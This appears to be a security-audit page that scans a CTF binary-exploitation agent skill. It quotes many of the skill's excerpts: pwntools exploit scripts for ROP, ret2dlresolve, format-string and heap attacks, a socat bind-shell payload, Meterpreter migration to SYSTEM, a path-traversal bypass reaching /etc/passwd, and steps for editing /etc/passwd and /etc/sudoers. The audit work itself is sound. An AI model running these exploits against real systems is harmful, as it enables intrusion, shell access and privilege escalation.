Back to skill

Security audit

CTF PWN Exploit

Security checks for vulnerabilities and agentic risk

Overview

This is a disclosed CTF binary-exploitation skill, but it includes operational shell, sandbox-escape, and privilege-escalation playbooks without strong lab-only limits.

Install this only for authorized CTF or training use in a disposable sandbox or VM. Avoid running it with admin/root privileges, restrict network and shell access where possible, and pin or containerize the listed dependencies before use.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T08 · Insecure Dependencies

Warning
Location
references/ctf-pwn/SKILL.md:17
Finding

Unpinned Third-Party Dependency Installation

Content
View full analysis

Vulnerability Details

File Location: references/ctf-pwn/SKILL.md, lines 17–34
Vulnerability Type: Supply-chain exposure through unpinned package installation
Risk Level: Medium

Vulnerable Code

bash
# Python packages (all platforms)
pip install pwntools ropper ROPgadget

# Linux (apt)
apt install gdb binutils strace ltrace qemu-system-x86

# macOS (Homebrew)
brew install gdb binutils qemu

# Ruby gems (all platforms)
gem install one_gadget seccomp-tools

Technical Analysis

The Skill instructs users or Agents to install third-party Python packages and Ruby gems without fixed versions, integrity hashes, lockfiles, or explicit trusted registry configuration. Package names therefore resolve to mutable releases and transitive dependency graphs at installation time.

Package installation can execute package-controlled build or installation hooks. If a named package, maintainer account, package registry, or transitive dependency is compromised, attacker-controlled code may run during installation. Unpinned versions also make the environment non-reproducible and allow future releases to change the effective behavior after this Skill has been reviewed.

The operating-system package commands are likewise unpinned, although they normally inherit the host's configured and authenticated repositories. The pip and gem commands present the clearest direct supply-chain concern.

Attack Path

  1. A user or Agent follows the Skill's prerequisite instructions.
  2. pip or gem contacts the currently configured package registry and resolves the latest matching packages and dependencies.
  3. An attacker compromises a listed package, one of its dependencies, its publisher account, or the configured registry.
  4. The package manager downloads the malicious release because no reviewed version or integrity hash is enforced.
  5. Package-controlled installation or build logic executes with the privileges of the user running the command.
  6. The malici ...[truncated 611 chars]
Remediation
View remediation

Remediation Suggestions

  1. Pin every directly installed package to a reviewed version, for example by using exact Python and Ruby version constraints.
  2. Maintain lockfiles that record complete transitive dependency versions.
  3. For Python dependencies, generate and verify cryptographic hashes, such as with pip-compile --generate-hashes and pip install --require-hashes.
  4. Explicitly use trusted package indexes and disable unexpected fallback or extra indexes.
  5. Install dependencies inside an isolated virtual environment or disposable container rather than the host environment.
  6. Avoid running language package managers with administrator or root privileges.
  7. Document the package publisher, expected package identity, reviewed version, and verification procedure.
  8. Periodically audit pinned dependencies for known vulnerabilities and update them through a controlled review process.
  9. Where practical, pin container images and operating-system packages to reviewed repository snapshots or immutable image digests.
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Rogue AgentSelf-Modification, Session Persistence
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Findings (62)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Confidence
97% confidence
Finding

This section instructs obtaining a Meterpreter session and migrating into a SYSTEM-owned process using SeDebugPrivilege, which is explicit post-exploitation privilege-escalation tradecraft. In an agent skill, embedding C2 framework procedures significantly raises risk because the agent can assist with intrusion follow-on actions, not just vulnerability understanding.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-4.md (reported line 79)May include surrounding context.

the correct value, pushad builds the entire STDCALL function call frame in the exact order Windows expects. This avoids the need for mov [esp+N], reg gadgets which are rare.


SeDebugPrivilege to SYSTEM (RainbowTwo HTB)

Exploits SeDebugPrivilege to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use.

Steps:

  1. Upload Meterpreter payload and obtain a session
  2. Migrate into a SYSTEM-level process:
text
meterpreter > migrate -N winlogon.exe
meterpreter > getuid
# NT AUTHORITY\SYSTEM

Meterpreter's migrate injects a DLL into the target process (winlogon.exe, lsass.exe), running code as that process's user (SYSTEM).

Detection: whoami /priv shows SeDebugPrivilege. Common on service accounts and NT AUTHORITY\SERVICE.

Key insight: Always run whoami /priv after landing a Windows shell. SeDebugPrivilege -- even w

YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]

Critical
Category
YARA Match
Confidence
99% confidence
Finding

The content includes a concrete command string to spawn a shell service via socat ... EXEC:"/bin/sh" and shows how to place and invoke it through a ROP chain. That is directly actionable remote code execution and shell exposure guidance, which is especially dangerous in an agent skill because it can be reused to generate working post-exploitation payloads.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-4.md (reported line 579)May include surrounding context.

3 MOV_QW_RAX_RDI = 0x408e46 # mov [rax+0x10], rdi; ret -> arbitrary write SYSTEM_PLT = 0x401a10 BINSH = 0x006d1000 # writable BSS slot we populate first

def array_lookup(rdx, payload): # Message format: cmd=0x0a, 2-byte flags, then 32-bit rdx, then payload return b'\x0a' + b'\x00'*2 + b'\x00' + pwn.p32(rdx - 4) + payload

rop = pwn.p64(STACK_PIVOT) rop += write_what_where(b'socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"/bin/sh"\x00', BINSH) rop += pwn.p64(POP_RDI) + pwn.p64(BINSH) rop += pwn.p64(0x401e7c) * 3 # ret-slides for 16-byte alignment rop += pwn.p64(SYSTEM_PLT)

p = pwn.remote('127.0.0.1', 6210) p.send(array_lookup(0x6c, rop)) # rdx=0x6c -> points at pivot gadget

text

**Key insight:** Every "permission check" that inspects an entry of a dispatch table (`table[i] != NULL`) is useless unless bounds are enforced *before* the read. When the read has the shape `mov rax, [base + rdx*8 + C]`, any aligned 8-byte qword in the b

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Confidence
91% confidence
Finding

The content references Meterpreter process migration into winlogon.exe to obtain SYSTEM privileges, which is classic post-exploitation behavior associated with offensive intrusion frameworks. In a pwn exploit skill, this materially increases risk because it extends from exploitation into persistence and privilege abuse on real systems.

Content

Scanner excerpt · references/ctf-pwn/field-notes.md (reported line 223)May include surrounding context.

md
SEH (Structured Exception Handler) overwrite with stack pivot to ROP chain. `pushad` builds VirtualAlloc call frame for DEP (Data Execution Prevention) bypass. Detached process launcher for shell stability on thread-based servers. See [advanced-exploits-4.md](advanced-exploits-4.md#windows-seh-overwrite--pushad-virtualalloc-rop-rainbowtwo-htb).

### SeDebugPrivilege to SYSTEM
`SeDebugPrivilege` + Meterpreter `migrate -N winlogon.exe` -> SYSTEM. See [advanced-exploits-4.md](advanced-exploits-4.md#sedebugprivilege-to-system-rainbowtwo-htb).

### mmap/munmap Size Mismatch UAF
Over-unmap via mmap(small)/munmap(large) destroys adjacent mappings. Thread stack fills gap, old buffer pointer becomes write-into-stack. Race-free UAF variant. See [advanced-exploits-4.md](advanced-exploits-4.md#mmapmunmap-size-mismatch-uaf-for-thread-stack-overlap-0ctf-2017).

### strcspn Indirect Null Byte Injection
`strcspn(buf, "\r\n")` + null write truncates strings at injected newlines. Bypasses CGI null-byte

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
99% confidence
Finding

This skill is explicitly designed to develop binary exploitation payloads and workflows using pwntools, ROP, ret2libc, shellcode, GOT overwrite, heap corruption, and remote exploitation patterns. In an agent skill ecosystem, that materially enables offensive exploit development against real targets, not merely passive education, so the detection is a true positive and the surrounding context increases risk rather than reducing it.

Content

Scanner excerpt · SKILL.md (reported line 32)May include surrounding context.

查 ELF 保护可用,运行仍需 Linux)。 3. 按保护选路线(决策树):

  • No PIE + Partial RELRO → GOT 覆写(最简单,地址全固定)
  • NX 开 → 不能直接执行 shellcode,用 ROP / ret2win / ret2libc
  • Canary → 先泄露 canary(格式化字符串)或改走堆
  • Full RELRO → 改打 __free_hook/返回地址/FSOP
  1. 找偏移:$PY -c "from pwn import *; print(cyclic(200).decode())" 送进去, 崩溃后用 cyclic_find(0x...) 算偏移。
  2. 写利用:pwntools 模板见下。
  3. 远程:remote(host, port);题目给了 libc 就本地对齐偏移。

常用命令速查

powershell
# 保护机制
$PY -m pwn checksec bin

# 找 gadget(Kali/WSL 内)
wsl -d kali-linux -- bash -lc "ROPgadget --binary /mnt/c/path/bin | grep 'pop rdi'"

# 生成/解析 cyclic 偏移
$PY -c "from pwn import *; print(cyclic(200))"
$PY -c "from pwn import *; print(cyclic_find(0x61616168))"

# Ghidra 无头反汇编(路�

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
99% confidence
Finding

This is a true positive: the skill explicitly provides offensive binary-exploitation tooling and commands, including pwntools usage, gadget discovery, libc resolution, race-condition exploitation, and extensive guidance for turning memory-corruption bugs into code execution. In the context of an agent skill, this materially increases dual-use risk because it operationalizes exploitation rather than merely describing vulnerabilities at a high level, and the surrounding content further expands into seccomp bypass, sandbox escape, kernel exploitation, and privilege-escalation techniques.

Content

Scanner excerpt · references/ctf-pwn/SKILL.md (reported line 88)May include surrounding context.

ographic primitive before exploitation, switch to /ctf-crypto.

Quick Start Commands

bash
# Binary analysis
checksec --file=binary
file binary
readelf -h binary

# Find gadgets
ROPgadget --binary binary | grep "pop rdi"
ropper -f binary --search "pop rdi"
one_gadget /lib/x86_64-linux-gnu/libc.so.6

# Debug
gdb -q binary -ex 'start' -ex 'checksec'

# Pattern for offset finding
python3 -c "from pwn import *; print(cyclic(200))"
python3 -c "from pwn import *; print(cyclic_find(0x61616168))"

# libc identification
./libc-database/find puts <leaked_addr_last_3_nibbles>

Source Code Red Flags

  • Threading/pthread -> race conditions
  • usleep()/sleep() -> timing windows
  • Global variables in multiple threads -> TOCTOU

Race Condition Exploitation

bash
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'

Common Vulnerabilities

  • Buffer overflow: gets(), scanf("%s"), strcpy()
  • Format string: printf(user_input)
  • Integer overflow, UAF, rac

Self-Modification

High
Category
Rogue Agent
Confidence
97% confidence
Finding

The self-modifying bytecode section describes a concrete validator-bypass technique that transforms allowed instructions into a forbidden syscall at runtime, then uses it to load a second stage and obtain an interactive shell. This is a sophisticated evasion and code-execution technique that would help an attacker bypass sandboxing or challenge constraints in real systems with similar validator flaws.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-2.md (reported line 33)May include surrounding context.

md
**Exploit structure:**
1. Use `pop` instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR)
2. Seed specific stack values for `pop sp` instruction (pivots to controlled location)
3. Place `syscall` gadget disguised as `push fs` with self-modifying byte mutation
4. Use `read(0, stage2_buf, size)` syscall to load stage 2
5. Stage 2 contains interactive shell code

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
96% confidence
Finding

The pwntools-based exploit code is an operational exploitation framework snippet that automates shadow-stack bypass and control-flow hijacking. Even if included for CTF learning, embedding ready-made exploit tooling in an agent skill significantly lowers the barrier to weaponization and can be adapted to real binaries with similar weaknesses.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-2.md (reported line 364)May include surrounding context.

shadow_stack_ptrexactly 512 times 2. After 512 iterations,shadow_stack_ptrpoints tousername(user-controlled buffer) 3. Write thewin()address intousernamevia normal input 4. Overflow the stack buffer to overwrite the hardware return address withwin()5. On return, both shadow stack and hardware stack containwin()` — validation passes

Exploit code (pwntools):

python
from pwn import *

exe = ELF('./revenant')
io = process('./revenant')

# Calculate iterations needed to overflow shadow_stack_ptr to username
shadow_stack_addr = exe.symbols["shadow_stack"]
username_addr = exe.symbols["username"]
iterations = (username_addr - shadow_stack_addr) // 8  # 512

# Step 1: Write win() address into username buffer
name = fit(exe.symbols["win"])

# Step 2: Recurse 512 times to advance shadow_stack_ptr to username
for i in range(iterations):
    io.sendlineafter(b"Survivor name:\n", name)
    io.sendlineafter(b"[0] Flee", b"4")  # Trigger do_reset() -> play()

# Step 3

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
99% confidence
Finding

The file repeatedly includes pwntools-based exploit scripts, shell-triggering GOT overwrites, ROP staging, stack leaks, and shellcode-oriented payload construction. In an agent skill dedicated to pwn exploitation, these framework components substantially lower the barrier to real-world offensive use by turning concepts into directly adaptable attack tooling.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-3.md (reported line 54)May include surrounding context.

  1. Trigger 1-byte overflow to increase buffer size from 0x40 to 0x48
  2. With enlarged buffer, read further on stack — leak canary and saved rbp
  3. Increase size to 0x77 to leak main's libc return address from stack
  4. Compute libc base from leaked return address offset
  5. Craft final payload: restore canary, set fake rbp, overwrite RIP with one-gadget

One-gadget constraint setup:

python
from pwn import *

# Stack layout: buffer[rbp-0x50], size[rbp-0x10], canary[rbp-0x08], rbp, ret
# One-gadget needs NULL at [rbp-0x78] and [rbp-0x60]
buf_addr = leaked_rbp - 0x50  # known from leak
fake_rbp = buf_addr + 0x78

payload = b"\x00" * 8          # [fake_rbp - 0x78] = NULL (constraint)
payload += b"A" * 16
payload += b"\x00" * 8          # [fake_rbp - 0x60] = NULL (constraint)
payload = payload.ljust(64, b"A")
payload += p64(0x48)            # preserve enlarged size
payload += p64(canary)          # restore canary
payload += p64(fake_rbp)        # fake rbp satisfying constraints
paylo

Instruction Override

High
Category
Prompt Injection
Confidence
70% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-3.md (reported line 362)May include surrounding context.

md
**Exploitation steps:**
1. Extract source code from binary (embedded in a custom ELF section, found via `strings`)
2. Enable developer mode (hidden konami-code input sequence) to leak level data stack address
3. Craft level with shellcode bytes encoded as block IDs placed at legitimate positive coordinates
4. Use negative coordinates to overwrite the return address on the stack, pointing to the shellcode in level data
5. Level data is base64+zlib encoded; use pack/unpack scripts

Missing User Warnings

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

This file is a high-risk offensive exploitation playbook: it provides step-by-step exploit chains, shellcode, ROP guidance, privilege escalation via SeDebugPrivilege, command execution patterns, and reverse-shell-like payload construction. In the context of an agent skill, this materially increases the chance the agent will help develop or operationalize real-world attacks rather than merely discuss vulnerabilities at a high level.

Content

No source excerpt is available for this finding.

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-4.md (reported line 158)May include surrounding context.

executes via the shell. Check for other dangerous words: included (file inclusion), open-file, read-file.


GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)

When a binary applies a deterministic XOR cipher to heap data (corrupting adjacent tcache fd pointers as a side effect), and each cipher seed produces a different XOR keystream at the fd offset, model the corruption as a linear algebra problem over GF(2) to find exactly which seeds transform the fd to a target address.

Problem formulation: Given current fd value C and target T, compute delta D = C ^ T. Each seed i produces a 64-bit XOR vector v_i at the fd offset. Find a subset S of seeds where XOR(v_i for i in S) == D.

python
def find_subset_xor(vectors, target):
    """Find subset of 64-bit vectors that XOR to target via GF(2) Gaussian elimination"""
    n = len(vectors)
    basis = {}  # bit_position -> (vector_value, set_of_contributing_indices)

    for i,

Instruction Override

High
Category
Prompt Injection
Confidence
90% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-4.md (reported line 247)May include surrounding context.

md
**Alternative approach:** XOR shellcode with existing `.text` bytes, compute which bits differ, flip each one, then redirect execution to the shellcode location.

**Key insight:** A single-bit-flip primitive becomes arbitrary code execution through cumulative modifications. Each flip changes one instruction or operand, and returning to the function start enables unlimited flips. Priority targets: (a) stack unwinding instructions (control flow hijack), (b) existing branch instructions (bypass security checks), (c) `mprotect` arguments (change memory permissions), (d) size parameters (expand read buffers).

---

Self-Modification

High
Category
Rogue Agent
Confidence
91% confidence
Finding

This section explicitly explains how to transform a single-bit-flip primitive into arbitrary code execution by modifying existing code bytes, disabling canary checks, changing memory permissions, and redirecting control flow. In an agent skill, that is dangerous because it equips the agent to generate or refine self-modifying exploit strategies against hardened binaries.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-4.md (reported line 247)May include surrounding context.

md
**Alternative approach:** XOR shellcode with existing `.text` bytes, compute which bits differ, flip each one, then redirect execution to the shellcode location.

**Key insight:** A single-bit-flip primitive becomes arbitrary code execution through cumulative modifications. Each flip changes one instruction or operand, and returning to the function start enables unlimited flips. Priority targets: (a) stack unwinding instructions (control flow hijack), (b) existing branch instructions (bypass security checks), (c) `mprotect` arguments (change memory permissions), (d) size parameters (expand read buffers).

---

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
96% confidence
Finding

This excerpt includes exploit-framework usage (from pwn import *) tied directly to constructing and interacting with an exploitation target, including payload delivery and interactive shell handling. In the context of an agent skill for pwn exploitation, this is operational offensive tooling that can directly enable exploit development and weaponization.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-4.md (reported line 283)May include surrounding context.

d al, 0` (0x04 0x00) as NOP separator between instructions (all bits off)

  • Adjacent "wall" patterns (vertical columns of 1s) must match at boundaries
  • Two columns of 0s between patterns prevents interference

Useful still-life patterns for embedding:

text
Block:    xx     Snake:  xx x
          xx             x xx
python
# Convert board to coordinates and feed to binary
import re
from pwn import *

rows = open('board.txt').read().split('\n')
coords = []
for y, row in enumerate(rows):
    for m in re.finditer('x', row):
        coords.append((m.start(), y))

p = process('./b3s23')
for x, y in coords:
    p.sendline(f'{x},{y}')
p.sendline('done')
p.interactive()

Key insight: Game of Life still-lifes are patterns unchanged by the update rules. By embedding shellcode in rows surrounded by still-life borders, the code survives all iterations. The simplest strategy is to read() real shellcode onto the grid after gaining execution, avoiding complex Game of Life-awa

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
94% confidence
Finding

The YARA hit is substantiated by surrounding content: pwntools is used in a working exploit context to automate libc leakage, gadget selection, and interactive exploitation. In this skill, the exploit framework usage is not incidental tooling but part of weaponized instructions for host-memory corruption and execution hijack.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits-5.md (reported line 25)May include surrounding context.

]` into the host stack, leaking a libc return address and then overwriting the saved RIP with a one-gadget.

asm
; Chip-8 pseudo-assembly: read 8 bytes from host stack offset 6360
ANNN  ; LD I, 0x18D8        (6360 — tuned from a gdb run)
F865  ; LD V0..V7, [I]      (libc address now in V0..V7)
; Print hex or send back via the emulator's debug channel
python
# Host-side exploit driver
from pwn import *
elf = ELF("./chip8")
libc = ELF("./libc.so.6")

# 1. Build a program that reads 8 bytes at offset 6360, then writes the
#    one-gadget RIP back to the same offset.
one_gadget = libc.address + 0x45226
prog = asm_chip8([
    ("LD I",  0x18D8),
    ("LD V0..V7, [I]", None),   # V0..V7 = leaked libc pointer
    # Derive libc base (subtract known offset) and rewrite RIP:
    ("XOR Vx, <delta>", None),
    ("LD I",  0x18D8),
    ("LD [I], V0..V7", None),
])
io = process(["./chip8", prog])
io.interactive()

Key insight: Emulators that expose a narrower address space than th

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
99% confidence
Finding

This is a true positive: the file contains pwntools-based exploit code and a full exploit chain for a VM use-after-free leading to control-flow hijack and execve('/bin/sh'). In a skill explicitly designed to assist binary exploitation, this materially increases offensive capability by providing reusable tooling, primitives, and weaponizable payload structure.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits.md (reported line 348)May include surrounding context.

estructor 5. BUILTIN 0 → allocates function object, reuses freed 32-byte slab (code pointer at offset +8) 6. WRITEBUF 16,0 → sets parent buffer's length to 16 (no actual write, bypasses bounds) 7. PRINTB → leaks code pointer from UAF slab → compute PIE base 8. READ 16 → overwrites code pointer with win() address 9. CALL → executes win() → execve("/bin/sh")

python
from pwn import *
import struct

# ULEB128 encoding for VM immediates
def uleb128(val):
    result = b''
    while True:
        byte = val & 0x7f
        val >>= 7
        if val: byte |= 0x80
        result += bytes([byte])
        if not val: break
    return result

# Opcodes
NEWBUF, READ, SLICE, DROP, GC = b'\x20', b'\x21', b'\x22', b'\x04', b'\x60'
BUILTIN, CALL, GLOAD, GSTORE = b'\x40', b'\x41', b'\x30', b'\x31'
WRITEBUF, PRINTB, PUSH, HALT = b'\x25', b'\x23', b'\x01', b'\xff'

code = b''
code += NEWBUF + uleb128(24) + GSTORE + uleb128(0)  # buf A in slot 0
code += GLOAD + uleb128(0) +

Credential Access

High
Category
Privilege Escalation
Confidence
96% confidence
Finding

This is a real security-relevant finding: the document explicitly teaches a path traversal sanitizer bypass using doubled characters to recover forbidden paths such as ../../etc/passwd. In the context of a pwn/exploit skill, this is actionable offensive guidance that can be repurposed against real applications, even though it appears framed as CTF education.

Content

Scanner excerpt · references/ctf-pwn/advanced-exploits.md (reported line 404)May include surrounding context.

python
# Sanitizer removes '.' and '/' but skips next char after match
# ../../etc/passwd -> bypass with doubled chars:
"....//....//etc//passwd"
# Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
98% confidence
Finding

This is a true positive: the file contains explicit exploit-development guidance and working pwntools code for ret2dlresolve, including building ROP chains to invoke system('/bin/sh') and bypass ASLR. In the context of an agent skill, this materially increases offensive capability by operationalizing binary exploitation techniques rather than discussing them abstractly.

Content

Scanner excerpt · references/ctf-pwn/advanced.md (reported line 185)May include surrounding context.

sing overflow.

Exploitation: Craft tree structure that causes traversal to overflow buffer → overwrite return address → ret2win (partial overwrite if PIE).


ret2dlresolve

Pattern: Forge Elf64_Sym and Elf64_Rela structures to trick the dynamic linker into resolving an arbitrary function (e.g., system) at the next PLT call. Bypasses ASLR without any libc leak.

python
from pwn import *

# pwntools has built-in ret2dlresolve support
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])

rop.read(0, dlresolve.data_addr)  # Read forged structures to known address
rop.ret2dlresolve(dlresolve)       # Trigger resolution

# Stage 1: Send ROP chain
io.sendline(flat({offset: rop.chain()}))

# Stage 2: Send forged dl-resolve payload
io.sendline(dlresolve.payload)

Manual approach (understanding the internals):

python
# Forge at a writable address (e.g., .bss)
# 1. Fake Elf64_Rela: points PLT slot to our fake Elf64_Sym
# 2

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

This note explicitly describes privilege-escalation tradecraft by modifying /etc/passwd to obtain root access through exploitable FUSE/CUSE character device handlers. In the context of an agent skill, this is not passive reference material but operational guidance for unauthorized credential and privilege manipulation, which could directly enable system compromise.

Content

Scanner excerpt · references/ctf-pwn/field-notes.md (reported line 184)May include surrounding context.

md
**Pattern:** Custom VM with OOB read/write in syscalls. Leak PIE via XOR-encoded function pointer, overflow to rewrite pointer with `win() ^ KEY`. See [sandbox-escape.md](sandbox-escape.md).

### FUSE/CUSE Character Device Exploitation
Look for `cuse_lowlevel_main()` / `fuse_main()`, backdoor write handlers with command parsing. Exploit to `chmod /etc/passwd` then modify for root access. See [sandbox-escape.md](sandbox-escape.md).

### Busybox/Restricted Shell Escalation
Find writable paths via character devices, target `/etc/passwd` or `/etc/sudoers`, modify permissions then content. See [sandbox-escape.md](sandbox-escape.md).

Credential Access

High
Category
Privilege Escalation
Confidence
96% confidence
Finding

This section continues explicit shell-escalation guidance by targeting writable paths and altering /etc/passwd or /etc/sudoers, which is a direct method to gain or preserve elevated access. Because the skill is dedicated to pwn exploitation, the surrounding context makes the content more dangerous by packaging actionable privilege-escalation steps for practical use.

Content

Scanner excerpt · references/ctf-pwn/field-notes.md (reported line 187)May include surrounding context.

md
Look for `cuse_lowlevel_main()` / `fuse_main()`, backdoor write handlers with command parsing. Exploit to `chmod /etc/passwd` then modify for root access. See [sandbox-escape.md](sandbox-escape.md).

### Busybox/Restricted Shell Escalation
Find writable paths via character devices, target `/etc/passwd` or `/etc/sudoers`, modify permissions then content. See [sandbox-escape.md](sandbox-escape.md).

### process_vm_readv Sandbox Bypass
**Pattern:** Sandbox validates file paths via `process_vm_readv()` + `realpath()`. Map memory with `PROT_READ` only at fixed address via `mmap(MAP_FIXED)` -- sandbox's `process_vm_readv` fails silently, bypassing path validation entirely. See [sandbox-escape.md](sandbox-escape.md#process_vm_readv-failure-as-sandbox-escape-0ctf-2016).

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
99% confidence
Finding

The matched content uses pwntools and related exploit-building primitives to automate arbitrary memory reads/writes and control-flow hijacking. In the context of this skill, those components are not incidental—they are embedded in a broad exploit playbook that materially lowers the effort required to weaponize format-string bugs against real targets.

Content

Scanner excerpt · references/ctf-pwn/format-string.md (reported line 55)May include surrounding context.

re 8 bytes. Using %n (4-byte) leaves upper bytes with old libc address garbage. Use %lln to write full 8 bytes and zero upper bits.

Arbitrary read primitive:

python
def arb_read(addr):
    # %7$s reads string at address placed at offset 7
    payload = flat({0: b'%7$s#', 8: addr})
    io.sendline(payload)
    return io.recvuntil(b'#')[:-1]

Arbitrary write primitive:

python
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {target_addr: value})

Manual GOT overwrite (x86-64):

python
# Format: %<value>c%<offset>$lln + padding + address
# Address at offset 8 when format is 16 bytes

win = 0x4011f6
target_got = 0x404018  # e.g., printf@GOT

fmt = f'%{win}c%8$lln'.encode()  # Write 'win' chars then store to offset 8
fmt = fmt.ljust(16, b'X')        # Pad to 16 bytes (2 qwords)
payload = fmt + p64(target_got)  # Address lands at offset 6 + 16/8 = 8

# Note: This prints ~4MB of spaces - be patient waiting for output

**Offset calculation fo

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
98% confidence
Finding

This file is not merely discussing defensive concepts; it provides concrete offensive exploitation procedures and pwntools-based snippets for heap/FILE-structure attacks, including double-free, vtable hijacking, arbitrary write primitives, hook overwrites, and shell execution. In an agent skill context, this materially enables exploit development and weaponization against vulnerable binaries, so the exploit-framework match is a true positive and the surrounding context increases risk rather than reducing it.

Content

Scanner excerpt · references/ctf-pwn/heap-fsop.md (reported line 21)May include surrounding context.

)


Fastbin stdout Vtable Two-Stage Hijack for PIE + Full RELRO (ASIS CTF 2017)

Pattern: When PIE and Full RELRO block GOT overwrite, target libc's stdout FILE structure via fastbin attack, using a two-stage vtable hijack.

python
from pwn import *

# Stage 1: Fastbin double-free targeting fake chunk inside stdout
# Use 0x7f byte in libc stdout region as fake chunk size (matches 0x70 fastbin)
fake_chunk_addr = libc.sym['_IO_2_1_stdout_'] + 0x91  # contains 0x7f byte

# Double-free in 0x70 fastbin
alloc_a = malloc(0x60)
alloc_b = malloc(0x60)
free(alloc_a)
free(alloc_b)
free(alloc_a)  # double-free: fastbin 0x70 = [a -> b -> a]

# Redirect fastbin to stdout region
malloc(0x60, p64(fake_chunk_addr))  # a's fd -> fake chunk in stdout
malloc(0x60)                         # returns b
malloc(0x60)                         # re

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
99% confidence
Finding

The file contains explicit exploit-development content using pwntools and multiple worked heap-exploitation chains, including UAF-to-system execution, GOT overwrite, tcache poisoning, fake _IO_FILE hijack, and shell-spawning payloads. In this skill context, the matched exploit framework import is not incidental tooling but part of operational offensive guidance, which materially enables weaponization of memory-corruption bugs.

Content

Scanner excerpt · references/ctf-pwn/heap-techniques-2.md (reported line 27)May include surrounding context.

ink, tcache stashing, and musl, see heap-techniques.md.


UAF Vtable Pointer Encoding Shell Argument (BCTF 2017)

Pattern: After UAF, heap spray fills memory with system() addresses at a 3-byte offset. The vtable pointer address 0x??006873 encodes ASCII "sh\x00" at the object start, so calling system() through the vtable executes system("sh").

python
from pwn import *

# Heap spray: fill 16MB with system() address at offset +3
# Each spray chunk: 3 bytes padding + 8 bytes system_addr, repeated
spray_unit = b"\x00" * 3 + p64(system_addr)
spray_data = spray_unit * (0x1000000 // len(spray_unit))

# Trigger heap spray via application interface
for i in range(spray_count):
    alloc(spray_data[:chunk_size])

# UAF object at address 0xXX006873
# Bytes at object start: 73 68 00 XX = "sh\x00..."
# When vtable call dispatches: system(this) → system("sh")

# Trigger: free the target object, then invoke its virtual method
free(target_obj)
trigger_v

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
99% confidence
Finding

This is a true positive: the file contains explicit exploit-development code and step-by-step heap corruption guidance using pwntools to build an unsafe unlink/GOT-overwrite style attack. In the context of an agent skill, this materially enables offensive exploitation of memory-corruption vulnerabilities and can be directly adapted for unauthorized compromise of real binaries, not just defensive education.

Content

Scanner excerpt · references/ctf-pwn/heap-techniques.md (reported line 275)May include surrounding context.

Exploit pattern:

  1. Allocate two adjacent chunks (A and B)
  2. Overflow A's data into B's chunk header:
    • Set B's prev_size to A's data size (fake "previous chunk is free")
    • Clear B's PREV_INUSE bit in size field
    • Craft fake fd and bk pointers in A's data area
  3. Free B → free() thinks A is also free, triggers backward consolidation → unlink on fake chunk
python
from pwn import *

# Fake chunk in A's data region
fake_fd = target_addr - 0x18  # GOT entry - 3*sizeof(ptr)
